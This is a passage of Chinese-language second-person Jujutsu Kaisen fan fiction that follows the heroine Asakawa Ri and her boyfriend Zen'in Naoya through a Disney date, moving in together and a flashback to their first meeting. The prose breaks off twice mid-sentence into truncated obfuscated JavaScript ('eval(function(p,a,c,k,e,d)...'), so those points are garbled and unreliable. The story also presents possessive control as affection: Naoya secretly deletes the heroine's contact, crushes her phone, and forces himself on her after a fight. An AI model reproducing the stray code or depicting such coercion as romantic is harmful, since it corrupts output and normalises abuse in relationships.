上次你拿了十几盒雨伞,被收银员用震惊的眼神看了,所以之后你坚决让直哉去买,他脸臭,人家不敢看他的! 你一边催促直哉快起来,一边打开手机,发现有一个陌生人想要添加你为好友。并没有多少人知道你的号码,你好奇就通过了。 “打扰了!三轮小姐,或者说是浅川小姐,我是禅院俊彦,冒昧添加好友是因为…” 你草草阅读了一下他的信息,大概是说你的联系方式是直毘人给的,现在他母亲在和直毘人闹离婚,他想知道到底是怎么回事。 “直毘人忙着哄女人,连给孩子解释一下的时间都没有吗?”你看了一眼在浴室吹头发准备出门的直哉,手指飞速回信息。 “你的母亲确实应该离婚,禅院直毘人的正妻是我男朋友的母亲,在我们京都这是人尽皆知的事情!而且直毘人有一大堆的庶子女!你有一堆哥哥姐姐,知道了吗?” 发完这些你也不高兴理他了,虽然他确实很像直哉,可是真的直哉还活的好好的呢,你不打算和俊彦产生友谊,打完这些字,你就随手把他的对话框一删。 直哉在浴室叫你,他问你把剃须泡沫放到哪里去了?又碎碎念责怪你用完不放到原位,害他每次好找。你随手把手机一丢,蹬蹬蹬蹬跑去帮他找。 好不容易找到泡沫,你递给他就想开溜,但是又饿了的直哉不想放过你,他伸手把你捞回来,放到盥洗台上让你坐好,然后准备好好再亲亲,你却觉得有点腻了,伸手按住他的脸。 “好了,快点洗漱,然后带我去迪士尼玩。”你冷硬下指令,“今天没收到高专的信息,应该还是待命。闲着也是闲着!我们要以必出片的决心出发迪士尼!”说完你就好像翘着尾巴的猫一样,悠然回了卧室。 直哉被你突如其来的冷淡给伤了一下,他意识到直哉快乐周差不多过去了,你又变成性冷淡邪恶坏猫,晚上得半骗半哄半强迫你才会愿意…坏猫就是和暴君一样忽冷忽热… 他认认真真收拾着盥洗台,突然想到:她会不会哪天对我彻底腻了?会想试试看别的男人…比如乙骨忧太、加茂宪纪、五条悟…禅院俊彦。 最后那个名字让直哉尤其想吐,他转头对着你的方向喊:“喂,坏猫,我们能不能立个束缚?你只能和我做,我也…” 回应他的是你扔给他的枕头,和一句“发什么疯!” 你是超级避讳束缚约定之类的东西!所以你从来没有和直哉说过我爱你,并打算等七老八十了再说,或者永远不说!每次情到浓处他会诱骗你说这种话,你都立刻冷脸准备抽身走人,然后让直哉放弃这个幻想。 爱是最扭曲的诅咒,你不想被直哉诅咒,也不想诅咒直哉…说起来,那个诅咒了女朋友的乙骨忧太昨天好像有话要说?随便了…反正不管他有什么事,都不关你事! 你打算抽空教育一下爸爸刀,告诉他禅院直哉也不一定是你女婿,没必要帮着他找你!应该和外公学学,你放火来他添柴! 42.第 42 章 你和直哉穿戴整齐准备出发前往迪士尼,出发前你给伊地知先生发信息报备了你们二人的去向,方便涩谷出事了他能第一时间找到你们。 往外走的时候直哉一直扒拉你身上那条Jill Stuart的裙子,不断抱怨说太短,你觉得他很是大惊小怪,一点也不时尚,有一种离了和服和足袋袜就不会穿衣服的土人感!他狡辩说咒术师为什么要时尚,又说矮子从你身后都能看到大腿根,你惊讶哪有那么矮的矮子……最后你还是不情不愿披上了薄风衣,遮了一点大腿,直哉终于稍微满意了一点,嘴里还在嘀嘀咕咕说穿和服更好。 你没理他,你无法想象穿着访问着在迪士尼里缓慢移动。 去迪士尼第一要务当然是要出片!你们先到达了仙履奇缘的城堡,又跑去美女与野兽的城堡,直哉当你的专属摄影师。给你拍照不是一件容易的事情,你要求很高还很会迁怒,完全就是低价值的“客户”,直哉一边费尽心机拍照找角度,一边内心吐槽:干嘛要特意跑到别人家门口拍照啊?虽然拍出来是很漂亮啦…但是主要也是因为坏猫的颜值吧?有这样漂亮的脸,在哪里拍不都是一样吗? 等他按下几十次快门,你拿过他的手机检查作品,小脸严肃:“不对啊直哉,我没有戴米老鼠的耳朵,你没有提醒我,这样不对。” 如果男朋友是机械丸与幸吉,可能会给出回去P图这个选项,但是你的直哉没有那么擅长新鲜事物,对于P图软件的运用还停留在一键加滤镜的水平,所以他一整个愣住,心说难道要再来一次吗? 是的,要再来一次,你拉着他去商店买了各种各样不同的耳朵,轮换戴着让直哉给你出片,还抱怨说早知道就该把兰太带上,让他帮你拿个反光板提点杂物什么的。 “带他干嘛?快乐的一家三口吗?你已经够白了。”直哉没好气但是仍然好一通拍,拍完超自信地将手机递给你,你发现直哉的手机居然!快!没!电!了! 你刚准备责怪他不做好万全的准备,打算派他去借充电宝,就看远处黑压压有一个旅游团正在靠近!来不及了!如果现在不拍,那么后面要等很久很久!于是你赶紧掏出了你的手机塞给直哉,让他快拍。 “知道了知道了。”见你急的好像有咒灵在追,直哉撇嘴嘲笑,“不就是拍个游客照…”他的话音戛然而止,因为他看到手机的信息弹窗。 禅院俊彦:浅川小姐,谢谢你告诉我那些。你说的对我来说很重要,如果可以的话我想当面感谢你。 直哉只觉得身体冰凉,血液倒流,看着这个可恶的名字,他几乎要把手机捏碎!这个杂碎为什么会有坏猫的联系方式啊?而且之前的聊天记录怎么没有了…他俩到底说了什么啊?还要见面?滚啊!!! 他心里说着滚,手上也恶狠狠地回复了一个滚,接着毫不犹豫,手脚麻利地将他删了。此刻旅游团已经到达城堡,但是他照片还没拍完。 直哉本来想问责你,但是却无法说出口,因为他也理亏,没来得及替你拍照。他将你的手机攥紧,提议去买点喝的,他渴了。 “直哉,你拍了吗?”你跟着直哉去商店,路上奇怪地看着他,心说怎么还不把手机还给我,看起来都要被他捏坏了。 “拍了拍了。”直哉想好了应对之策,决定就说拍的不够完美,回来再拍一次,这样就能把刚才没拍的事实糊弄过去了。心虚的他揽住了你的腰,急吼吼地将你往商店带。 商店又是一场恶战,你什么都想吃,又什么都吃不下,老京都人禅院直哉很爱惜自己的东西,也不爱浪费粮食。于是乎,热狗你咬一口,直哉吃。气泡水你喝一口,直哉喝。爆米花你吃两颗,直哉吃…禅院嫡出大少爷就像一个垃圾桶一样帮你打扫干净食物,他还挺开心的:我吃坏猫剩饭,这是我们亲密无间的表现!其他人想吃坏猫还不给呢,大概吧? 小狗就是很容易满足的… 等你和迪士尼朋友们合影,直哉又开始警惕内胆是男人,每一个迪士尼朋友他都要先抱一下,感受对方内胆的骨骼,太过粗大的肯定是男的!那就不能抱了!你能抱的男人只有他!禅院直哉! 他抱臂在你身边站着,看星黛露抱着你不撒手,突然没来由的想到了这个世界上有一种女人也喜欢女人…于是直哉立刻很小气的上前,对星黛露面露不爽,说行了行了,时间到了! 边上负责计时的工作人员:这话好像应该我来说???到底谁才是游客啊! 合影完毕你又要坐旋转木马,金色的坐一次银色的坐一次。直哉为你拍照,他觉得你骑在马上好像一个公主,美中不足的是骑跨的姿势导致大腿露出太多了!他看到有替女友拍照的男人在偷看你,用死亡眼神威胁逼退他们的同时,善良的直哉在心里送出祝福:快点分手吧!偷看别人女朋友的杂碎! 虽然有诸多嫌弃和不适,但是直哉不得不承认迪士尼确实是世界上最快乐的地方,没有禅院,没有乐岩寺,没有咒灵,也没有五条悟那个白毛怪人…啊?那个白毛?!啊??? 他看到一个一米九多的墨镜白毛超高速从侧面逼近,成功在刚下旋转木马的你背后“哇”了一声,将你吓得原地炸毛起跳。直哉想立刻去到你的身边,却被五条悟揽住了肩膀。 “直哉君~我想和你探讨一下投射咒法呢。不如我们去那边喝一杯…”五条悟亲亲热热揽着直哉的脖子,说的好像他会喝酒一样。 “五条悟!你想干什么!你又不会喝酒!”因为直毘人的关系,直哉不爱喝酒,他担心酒后失态就如同直毘人一样丢人,但是真要喝他也是可以喝点,可五条悟是真的一杯倒,他要喝什么啊? “小离,我先把直哉借走了哦。走嘛走嘛。”五条悟在你面前强硬地将你男朋友拖走了,你目瞪口呆,毕竟在你眼里直哉已经是很大很大的男人了,没想到他都能被轻易拽走… “浅川同学。” 你闻声回头,发现是乙骨忧太,他依然是那一身白色的高专制服,浑身上下透露着清爽。乙骨有些不好意思地开口,“冒昧打扰你和禅院先生约会了,有一件事我真的非常在意…” 说着他看向你腰间的爸刀。 “里香说,你身后有一个狐狸耳朵的男人和她打招呼了…” 你有些恍然大悟地看向爸刀,心说原来爸爸也是要交朋友的呀… 你无法和爸爸对话,里香可以。你无法和里香对话,乙骨可以。你们去了中央大道上的咖啡厅,找了一个安静的角落坐下,俊男美女年龄相仿,你俩乍一看好像在约会。 接下来的对话都由乙骨来翻译,虽然有些秘密你不想让他知道,但是现在他是唯一可以和爸爸刀对话的渠道(通过里香),你也不打算藏着掖着了。乙骨自己就一身的谜团,和你半斤八两吧! 爸爸刀:小朋友,你那么年轻就从人变成妖怪了? 里香:我是咒灵,不是妖怪,我也不是小朋友。你呢,大哥哥,为什么在刀里? 爸爸刀:你应该叫我叔叔,我是狐狸半妖,因为有想守护的人,所以我住进了刀里。 你有点惊讶,本来还以为爸爸是纯恋爱脑,现在看来居然还舐犊情深? 里香:你一直就住在刀里吗? 爸爸刀:住到我的小狐狸寿终正寝。 小狐狸就是你。 你思考了一下,有点为他庆幸:“爸爸,那你百年后就可以回去了,还好不算太久,在刀里很无聊吧?” 爸爸刀:不啊,爸爸我啊,起码要陪你五百年呢。 在听你喊刀‘爸爸’的时候,乙骨面色平静,听到五百年后,他也有些惊讶地看着你。 你愣在原地,讷讷半天不得语:什么?这是真的吗?可是直哉是纯血的人类,那你要如何度过没有直哉的四百年呢?不……应该是四百五十多年,因为直哉会变成和直毘人一样的老头子,那时候你就得分手了! 你很自信自己不会老,因为里香说你爸爸是小哥哥,说明你们狐狸应该驻颜有术? 想着想着,你感受到了非常强烈的恐惧,身体微微颤抖,眼泪也不自觉湿润了眼眶。 此刻你也顾不上身边的乙骨忧太,几乎是拔腿就跑,顺便把提速的符咒点燃了。 你大概知道五条悟和直哉离开的方向,果然在冰雪奇缘区的喷泉前看到两人:五条悟拿着两杯奶昔吸吸吸,直哉拿着一杯却没有吃,一脸想爆炸的低气压。 “直哉!”你不顾周围人来人往,直接飞扑过去撞到直哉的身上,他手上的奶昔都差点被你撞掉,你将身体挂他身上,像猴子一样抓着他往上爬。 这次你的眼泪没了演的成分,而是真心实意地往下掉:“直哉,你不可以变老变丑,不可以离开我!” 五条悟拉下墨镜:哈?拍偶像剧? 直哉本来正在不爽五条悟搅局,你突然冲过来还死死扣住他的脖子,虽然不知道你为什么哭了,但是好像是因为依恋他… “直哉你不准死!也不能变丑变老!可以答应我吗?不行的话我今天就不回家了!”你带着哭腔嘤嘤嘤,说着毫无分量的威胁,顺便把眼泪和鼻涕都蹭到直哉的身上。 这件事如果换个人做就很恶心,会被直哉怒骂着甩地上。可因为是你,直哉只觉得心都要化了。 好心路人五条悟帮忙拿走了直哉手上还没吃过的奶昔。让他有手可以抱你。 喷泉、绝美情侣、眼泪、生离死别和一个白发帅哥交织在一起,路人纷纷举起手机,这偶像剧也太高质量了!今天没有白来! “离?”直哉小心翼翼地呼唤你,他的小猫哭得都快岔气了,他是真的心疼坏了! 虽然刚才他还在胡思乱想你为什么加了禅院俊彦的line…但是现在根本不重要了!五条悟也好,禅院俊彦也罢,都是无关紧要的人!他无视了一脸探头探脑的五条悟,直接抱着你离开,夕阳将你们的影子拖得老长,人山人海的迪士尼好似只剩下你们两人。你哭累了,蜷缩着身子窝在他怀里呜呜咽咽,声音也越来越小。 周围的路人目送你们离开,心满意足于看了一场绝美偶像剧。五条悟着急忙慌回去找乙骨,想问问他到底说了什么,把你这只坏猫刺激成这样。 直哉把哭累到睡着的你轻轻放回车上扣好安全带,像运输一件精美瓷器一样小心翼翼地启动了车子,他开得非常平稳。其实直哉猜到了你崩溃的原因,这也是他最最担心的大麻烦。 他把你带回住处,替你换了睡衣又拿毛巾擦了脸,静静注视着你静谧的睡颜,看你眨了眨小扇子一样的睫毛,直哉觉得没有人会比你更美丽了,不愧是小狐狸! 他自知执念浓郁厚重,如果真的死了,肯定会变成咒灵缠着你。到时候就怕你这个坏猫转头大喊五条悟:五条老师,快来袱除这个咒灵! …… 等你一觉睡醒已经是半夜,你稍微冷静下来了一点。直哉安静地睡在你的身边,你爬到他的身上趴好,安静地听他的心跳,你多么希望他能一直这样青春强壮,陪你到五百年后呀。 作为咒术师的你开动小脑筋。你想起有一种禁术叫做受肉,大概就是通过吞服咒物等手段夺取普通人的身体…如果直哉死后你将他做成咒物,不断的找年轻漂亮的男人受肉,那不是很棒吗?想着想着你小脸通红,人都有些亢奋起来,却听到了床头传来一声刀鸣,让你如梦初醒。 且不说直哉愿不愿意,这样做的话,你不就变成诅咒师了吗?外公做了一辈子正派大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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抛开这些不说,和坏猫从早到晚在一起,即使不做也是好的。本来他就有些忧愁于总有一天要分开…是了,坏猫肯定也知道了我们之间寿命的差距,她也想和我分分秒秒在一起。 “好啊,不过我不住禅院的房子,我要买套新的”倒也不是直哉多有骨气,而是他觉得禅院的阴角多,如果真的长久住在这里,扇那种人最阴了,说不定会在哪个摆件里埋绝育药之类的……虽然他本来就认真避孕,但是被人绝育是另一回事! 再买一套更好,更安全,反正东京最不缺的就是房产中介,有大把高端住宅挂牌待售。 “住我外公的大平层不行吗?好吧,如果要买的话,我知道有一套很不错!”想到房子,你小脑瓜子一转立刻有了一个选择! 你拿起手机发信息,三两下就敲定了购买意向,催促直哉转钱。直哉一边用黑卡转账,一边惊讶于你的效率。 你得意洋洋说当然啦,然后要他给你捏捏肩膀,感谢你提供房源! 直哉当然照做,捏着捏着就把手伸进你的衣领。 …… 第二天早上你们到达新居,直哉隐隐约约感觉有点不对…他好像见过这面墙啊? 他猛然回忆起来,这是你当时和五条悟偷偷摸摸住的那个房子!该死! 直哉当场就不高兴了,坏猫在东京想买房子也第一个想到五条悟吗? 你完全不知道男朋友在生气,兴致勃勃观看起家具摆设。你并不太懂家具的品牌,但是你觉得五条悟很有品味,和他这个人一样,从事着咒术师这样古老的职业却莫名有品,他本人身上随便一件单品都很时尚! 你一边夸奖着五条悟买的家具一边顺手拍图去查,查着查着你哇哦出声,每一件都比你想象的还要贵十倍,买这套带家具的房子实在是太划算了! “直哉,五条老师真的很有钱喔。”你有些羡慕地说,“不愧是最强呀,这张椅子居然要一千两百万日元,哇哦,还刻着设计师的名字呢。”说完你开始努力拼读那个意大利人的名字,还谷歌他的资料,认真研究。 “呵,五条悟那么好,你嫁给他不就好了?”直哉超不爽,坏猫只要提到五条悟就会崇拜,简直没有一点点良心! 他浑然忘记了他也是这样崇拜甚尔的,只吐槽你。 “好哦,那我打电话问问五条老师愿不愿意。”你也不是会吃亏的类型,拿起手机就准备摩西摩西,直哉立刻发动术式,一瞬间就抢过你的手机,把你压在那张超贵的椅子上。 他语气危险的警告你:“浅川离,你是我的,给我牢牢记住这点。” 你才不怕!他多凶你都见过,现在不过是虚张声势罢了! 你推他的脸:“才不是!我就要嫁给五条老师,他可是咒术界现代最强,嫁给他,我和外公就找到了最强靠山!以后我就是咒术界的第一夫人了哦。” 当你没良心的时候,你的小嘴也挺坏的。 “现代最强?第一夫人?好啊,你试试看能不能联系到他。”直哉真的生气了,他直接在你的惊呼声中把手机捏成齑粉,然后压着你开始扯你的衣领,看起来是打算好好“教训”一下你。 “走开!”你才不是没有手段的小白花,立刻发动地震环境。你和直哉偶尔也会在训练场切磋,所以这样的打打闹闹也还在正常范围。 “哈?谋杀亲夫吗?”直哉滚地躲开,他也没打算让你,直接反击,不过在他碰到你的前一秒,你又发动了强光… 总而言之,言而总之,直哉刚刚买下的新房子坏掉了,你们打得太过忘我,完全忘记了这是你们的新家,超贵的五条严选椅子也变成了碎渣。 直哉打赢了压着你享受了胜利的果实,你一开始眼泪汪汪地咬他挠他,后来感觉还不错,就亲回去了。 “直哉!都怪你…”等你理智回笼,看屋子里一片狼藉,眼睛一红又要掉小珍珠了,同居第一天就发生了那么不吉利的斗殴,太晦气了! “不怪我,要怪就怪你夸其他男人。”看着眼前的叙利亚战损风建筑,直哉帮你穿着衣服,漫不经心地回答。他本来就不爽你夸五条悟的品味,显得他很土一样!现在这些‘有品’的东西变成渣了,很不错。 禅院大少爷好像完全忘记,这房子已经不姓五条了…… 43.第 43 章[番外] 禅院直哉,这位禅院的论外之男,被催婚是他的日常。 他并没有独身主义的苗头,而是对所有人都主打一个看不上。 太黑、太胖、太高、太矮、太笨、太弱……甚至连穿衣风格不够突出也成为一种罪名,在禅院各位热心和服老头的介绍撮合下,他以每年见十个的速度在高效累积相亲经验。 今天的介绍人居然是家主,也就是他的父亲:禅院直毘人。 他一边喝着酒,一边醉醺醺地说出了‘浅川离’这个名字,说是京都校长乐岩寺嘉伸的唯一外孙女,刚成年没多久,就读于京都高专,是个不可多得的美人,术式也非常特殊。 直毘人一口饮尽啤酒,将罐子捏扁,意味深长道:“人就在花厅,你大伯母邀请来交流插花的,你去见见吧。” 这种相亲模式很体面,相互看上了最好,没看上就当来做客,对谁都没有害处。 “呵?乐岩寺的外孙女?”直哉穿着他那身大正风格的射箭袴,翘着腿,一脸不屑,“我听说她是父不详的孤女,这种来路不明的女人也配跟我相亲?” 配不配是他经常挂在嘴边的,千言万语汇聚成一句话,那就是统统不配! 直毘人眼里闪过一丝看好戏的兴味:“噢?那你是不打算去了?” “去什么去,让她等着吧。”禅院直哉打定主意要晚点去,给那个不知所谓的女人一个下马威。 直毘人没再说什么,只是嘴角笑意更深,大有一副要看儿子好戏的样子。 …… 直哉故意迟到了将近一个小时,当他晃悠悠地抵达花厅却扑了个空:除了几个禅院老年女性正在颤悠悠地收拾花材,哪里还看到年轻女客的影子? 他在心里啧了一声,心道跑得倒快,脚却下意识地朝着禅院的大门走去。 他远远看到的是这样一幅画面: 一位陌生少女站在门口,正微微欠身向送她出门的大伯母道别,夕阳的余晖像金粉一样洒在她的身上,银白色的长发泛着近似波光的粼粼,琥珀色如玻璃珠一般清透的眼睛低垂,长长的睫毛投下一片阴影,她的面部线条柔和清冷,却还带着些许少女特有的婴儿肥,一身浅色访问着更衬得她白皙无暇、气质出尘,宛如一朵铃兰化成人形。 少女似乎察觉到了直哉的视线,微微侧头回看了一眼,那一眼平静如水,只是淡淡一扫便收了回去,继续和对面人说着道别的客气话。 直哉呆立在原地,仿佛被雷击中。 ‘这就是乐岩寺老头的外孙女吗?没人告诉我有那么漂亮啊……’ ‘是阳光吗?为什么我觉得她在发光。’ ‘父不详母早亡都不重要,重要的是她这个人。’ ‘她叫什么来着?浅川离……’ ‘我要她!’ 他之前所有的嫌弃和傲慢,在看到你真人的瞬间都被击成齑粉。他的目光贪婪地流连在你纤细的脖颈、微微翘起的嘴角和仿佛嫩得能掐出水来的脸蛋上。心脏在胸腔里剧烈地跳动,一种从未有过的强烈占有欲如野火燎原。 他并不是一个会犹豫的男人,在想要你的念头刚上心头,他就大步流星地追了过去,在你踏出禅院大门之前拦住:“浅川小姐?抱歉让你久等了,我是禅院直哉。” 你看着他,下意识地往后退了一步,虽然直哉在禅院并不算体格巨大的,但是在你的角度看来,他还是很能给人压迫感的,且不说那宽阔的肩膀和背,那张脸……脸居然是非常美丽的,特别是那双禅院特色的上挑凤眼,居然有一丝妩媚? 出于礼貌,你赶紧收敛了心神,停止对对方容貌的打量,微微躬身:“禅院先生,你好,我是浅川离。” 说着你想转身就走,直哉却不动声色地挡住了你的去路,有眼色的大伯母立刻提出:“浅川小姐,天色已晚,不如留下来用晚餐吧?” 明明夕阳都还没有下沉,哪里晚了,你腹诽。 你没有拒绝,因为主家留饭实在是非常正常的社交行为,在社交礼仪库存中,你一时间没找到婉拒的理由。 直哉见人留下了,心说扇的老婆还不算太笨,他心中雀跃面上镇定地带着你去了小客厅,又让侍女们煮了最好闻的茉莉花茶,他作为一个二十七岁的成熟男人,多少知道小姑娘的喜好。 你跪坐着接过直哉递来的香茗,热茶蒸腾微雾,将你本就粉白的漂亮脸庞衬托得更加娇嫩。 “浅川小姐的术式听说很特别?不知道和我的投射咒法配合,会产生什么有趣的反应?”直哉罕见地套近乎,对于傲慢无礼的他来说,这样友善的话实属罕见,说话的时候他盯着你漂亮的脸蛋,一瞬都不想错过你的表情。 你想:谁要和你配合…… 他在欣赏你的美貌,你也在欣赏他的美貌。 禅院直哉确实是一个不可多得的漂亮男人,挑染成金色的、带着刘海的微长短发,金绿色的瞳孔虽然不大,眼型却足够漂亮,鼻子非常挺巧秀美,嘴唇是坏男人标配的薄唇,配上他浓重的奈良口音的关西腔,一个有点屑但是足够美丽的富家公子哥的形象就立起来了。 “你……今年几岁了?”你对他产生了兴趣,于是直奔主题。 禅院直哉懵了一下,他万万没想到你居然不接他的茬,还问了这么务实的问题,他下意识回答:“二十七。” “我十九岁,差八岁,太老了。我们不合适。”对于他的回答你有些意外,因为禅院直哉的脸看起来也就二十出头,说二十二三岁还差不多。 你毫不留情地说出了心中所想,因为禅院直哉已经被踢出了你未来丈夫的选择范围,所以也没必要装大和抚子了。 你干脆利落地起身,礼貌地朝他点了点头,优雅离开。 禅院直哉活了二十七年,这还是第一次被女人当面说‘太老了’,他一时语塞,几乎不知道该如何回答,一股气憋在胸口上不去下不来,只能眼睁睁地看着你飘然离去,你的姿态还是如此优雅,脚步还是如猫一般轻灵,但是那冷酷失礼的话语,却如同烙铁一般印刻在了他的心上,扎得他又痒又疼。 ‘太老了……’ ‘太老了?!’ ‘好啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不然呢?”你停下脚步,“还有事吗?禅院先生?” 直哉呆在原地,一时间不知道如何应对,这完全超出了他对女人的认知。 “不,不是……”他想追上你,脚却好像灌了铅,只能在原地无能狂怒,“不是,你有病吧?浅川离!” “禅院先生,我耳朵不聋,不用大喊大叫。”你说完这句就酷酷的走了。 …… 禅院直哉失眠了。 因为怀疑自己不了解女人,他第一次允许院子里最美的那个侍女进入了他的卧室。 是的,他是个处男。 并不是因为他不好色,而是他觉得这些侍女都配不上他,如果被她们看了摸了,那她们就占了大便宜了! 少爷的身子哪是庸脂俗粉有资格碰的…… 在那位侍女提出为他宽衣的瞬间,禅院直哉又产生了以上的想法。 “滚滚滚,滚出去!” “都给我滚!” 侍女连滚带爬的离开,心里暗骂禅院直哉神经病,害她用了最贵的美瞳和粉底,都浪费了! 直哉愤恨地抓着榻榻米,心中暗下决心。 浅川离……你好样的……你迟早得躺在这张榻榻米上,哭着和我道歉! 他想砸点什么,但是又不想毁坏自己的物品,于是气呼呼地起身,去训练场骂了几个躯俱留队的队员,又窝窝囊囊地回来睡觉了。 44.第 44 章 新买的漂亮大房子被你们破坏了,修缮起码需要半个月,禅院的房子直哉又不想碰,于是你们剩下的选择只有乐岩寺宅。 住女方家里有点像赘婿,但是直哉可能真的是赘婿,所以他并不需要什么心理疏导就接受了这个方案。 你给外公发信息说了一声,乐岩寺所有房产的密码都是你的出生年月日,都不需要外公点头,你就带着直哉去了千代田附近的一套大平层,因为这套房子不是独栋别墅,也就没有配备管家,只有家政妇定期去打扫,当你们到达的时候,空无一人。 这是一个非常好的同居起点! 你的手机被直哉捏碎了,还好你有备用机。你百无聊赖地查看高专群里的新信息,大家都在东拉西扯,插科打诨,并没有什么重要信息或是异常,于是你把手机一丢,准备干点别的。 你在沙发上找了个舒服的位置躺下,扭头看到直哉在规整行李,他穿着T恤和牛仔裤,你的眼神锁定了他,感觉屁股很翘,打一下手感很好的样子。 “干嘛,看什么看?”直哉当然感觉到了你灼热的视线,他不怀好意地回头,“是不是又欠收拾了?还想被我爱的教育…”他话还没说完,你已经起身重重拍了一下他的屁股,一头钻进了隔壁房间。 “坏猫!”直哉当然知道这是你发起的‘来玩啊’的邀请,他立刻放下手中的行李去追你,不过这毕竟是未来岳祖父的家,他的行动有些小心翼翼,没有破坏任何家具。直哉是真的不敢得罪乐岩寺老头,本来他的评分就够低了…… 你用上了提速符咒,和直哉你追我赶,在不同的房间里高速穿梭,突然你脚下一滑,直哉赶紧发动术式,在你摔倒之前把你捞了回来。惊魂未定的你低头一看,发现是爸爸刀绊了你一下。 “爸爸,你干嘛绊阿离啊?”直哉有些嗔怪爸爸刀。 可能是因为爸爸刀帮忙‘捉奸’过,直哉对它心悦诚服,叫爸爸都超级顺嘴了。 “我们还没结婚呢…”你小声嘀咕着直起身子,感觉隐隐约约有哪里不对,爸爸刀平时不会干涉你俩的行为,刚才打成那样了它都没动静呢,难道说…你抬头看向前方的景观花瓶,心里疑窦丛生。 “什么叫还没结婚…你难道真的想嫁给五条悟吗?”直哉不满,却看到你走过去扒拉那个花瓶,他想阻止你的小猫爪,万一那个花瓶是老爷子的心爱之物,打碎了他又要挨拐杖。 随着你到处乱摸,花瓶的展架居然挪开了位置,露出一扇小门来。 这时候你外公的信息也到了:千代田的那套房子?还没有打扫好,你们先去世田谷那套吧,这套我收拾一下。 你和直哉已经走进了密室,乐岩寺的阻拦无效。 密室里有一堆发黄的书卷,你打开后发现书卷内的措辞有点古,大概是大正以前流传下来的,里面真真假假地记录了一些你早就知道的咒术界秘术,然后你翻到了…受肉。 这就是想睡觉有人递枕头的感觉吗?你狐疑地看了一眼爸爸刀,他似乎弄巧成拙了,即使你们无法用言语沟通,你也能感受到他在叹气。他大约是想绊倒你让你远离这扇门,没想到你如此有探索精神。 直哉毛茸茸的金色脑袋凑上来问书里有什么,你说没什么,好脏的书。 你轻松地把书放回了原位,内容却已经刻到了脑子里。 你知道让无辜之人成为你实现欲望的载体是错的,可是如果,万一,未来等直哉老了,你们真的遇到了坏事做尽又很帅的年轻美男子诅咒师…反正是要干掉的,不如给你和直哉用用呢… 直哉只对绝对的力量感兴趣,这种散发着陈腐气味的故纸堆对他毫无吸引力,他很自然地揽上你的腰带着你离开了密室。边走他边说乐岩寺还挺会藏东西的嘛,不愧是老狐狸。 真小狐狸:……嗯,外公是没有狐狸血的老狐狸。 … 万圣节当晚,高专咒术师们集体行动,在五条悟的统筹安排下,分组驻守在环涩谷的不同出口,等待咒灵方发起攻击。 你和直哉,还有‘罪大恶极’的直毘人,以及真希姐妹组成的‘禅院班’一起在涩谷mark City餐厅大道入口待命。你们之间的气氛挺尴尬的,毕竟直哉讨厌直毘人,真希讨厌直哉,真依讨厌你,一个班的团结趋近于零。此刻的直毘人喝的有点醉,浑然没有在柚木女士身边那种精英daddy感,又变成糟老头子了。 直哉嘲笑五条悟肯定是误判,被醉醺醺的直毘人教育说这种误判也是必须的,毕竟谁都不能赌一个万一,直哉用冷哼回应他爸爸。 真依远离你是正常的,可是她也不亲近姐姐,就站在角落里抱臂冷眼小猫哼唧。 真希这个当姐姐的也不靠近妹妹,只拿着咒具独自站着,偶尔戏谑地看一眼紧挨着你的直哉,好像在说他真是个离不开女人的废物。 看着眼前的四个禅院,你心说还好直哉以后嫁去你家,禅院家的人一个个的都莫名其妙嘴角向下,像不高兴的秋田犬,也不知道在不高兴什么。 你有些无聊地在附近的路墩子上倚靠着,直哉见状立刻把外套脱下来让你垫着,他小声嘱咐你别冻到了,又问要不要喝点热的他去买。他这样殷切的举动得到了真希的一声切。 “只会盯着女人屁股看的家伙。” “你这个吊车尾…先试试看摘掉眼镜能不能看到咒灵,再关心堂兄的事情吧。”直哉立刻回敬。 然后这两个禅院就你一言我一语地吵起来了,本来各干各的直毘人和真依开始看热闹,看得津津有味,浑然不觉那是自己的儿子和姐姐。 想到真希是比直哉小了九岁的堂妹,直哉都能和她斗嘴到热火朝天,你有点没眼看,感觉他缺少五条老师那种成熟男人的游刃有余。 周围都是欢度万圣节的普通人,每个人都奇装异服所以你们这帮咒术师也不算太过突兀,有喝醉的男路人跑过来想拉你拍照,被直哉死亡视线扫射后逃走。 你靠着直哉小憩,一直到天光微亮,涩谷都无事发生,各小组陆续回撤补眠,看来涩谷的事情暂时了了,不知道那些诅咒师何时会发起攻击。 加茂家主嫌疑巨大,可自宪纪被赶出家门后,他一直以‘嫡子失踪、伤心过度’为由蛰伏不出,这也导致了他没有任何把柄可以被抓住,就算知道他是假的也拿他没办法。五条悟是最强,但也不能无缘无故冲到加茂家里把什么也没做的别人家家主杀了。 次日京都校的人陆续返回京都,你和直哉留下了,正式开始同居。 直哉本以为你们要过上没羞没躁的快乐东京同居生活,却发现事情变得更糟糕了!在京都有烦人的加茂宪纪和电灯泡老头子和三轮情侣,但是东京…… 那个莫名其妙的乙骨忧太没有返回国外继续任务,而是每天背着一个剑袋登门拜访,还带着各种各样的水果点心,礼貌周全,态度亲切,来了也不说话,就坐在你俩身边当电灯泡! 如果光是这样就算了,起码他没有和坏猫互动,可是五条悟也一天到晚来!来了还要把坏猫拎走,过几个小时再提溜着一只半死不活的坏猫回来!问他到底在干什么还不肯说! 虽然他很仔细的检查了昏睡的你,确定你们应该没有干那种事,但是真的很在意啊!到底在干什么啊?为什么每次回来你都好像被五条悟吸干了一样啊……他作为男朋友真的很难接受啊! 就是很烦!东京的每个人都很讨厌!莫名其妙的一群人!所有人都在阻止他禅院直哉幸福!甚至在某天半夜他刚想抱着你好好亲亲,窗外就出现一个羽毛球脑袋的白毛,说他现在正好有空,小离小离快起来!直哉我把她借走了哦! “五条悟,你到底知不知道浅川离是我的妻子啊?”在某个夜晚五条悟再次敲门的时候,直哉终于忍无可忍,他拦着不让你俩离开,脑门青筋直跳,美丽的脸上写满了怒气,大有一副‘要走就从我的尸体上跨过去’之感。 “哦?直哉已经入赘了吗?”五条悟的语气依然是轻飘飘的,“那么乐岩寺直哉,我也不是故意半夜来的,只是现在有空嘛。” 在听到‘乐岩寺直哉’这五个字的时候,直哉的脸色一片青白,他不喜欢这个名字!叫浅川直哉好一点……不过现在也不是纠结这个的时候! “直哉,我们是有很重要的正事。”你安抚他,“不要闹,和爸爸刀在家等我,我很快就会回来。” 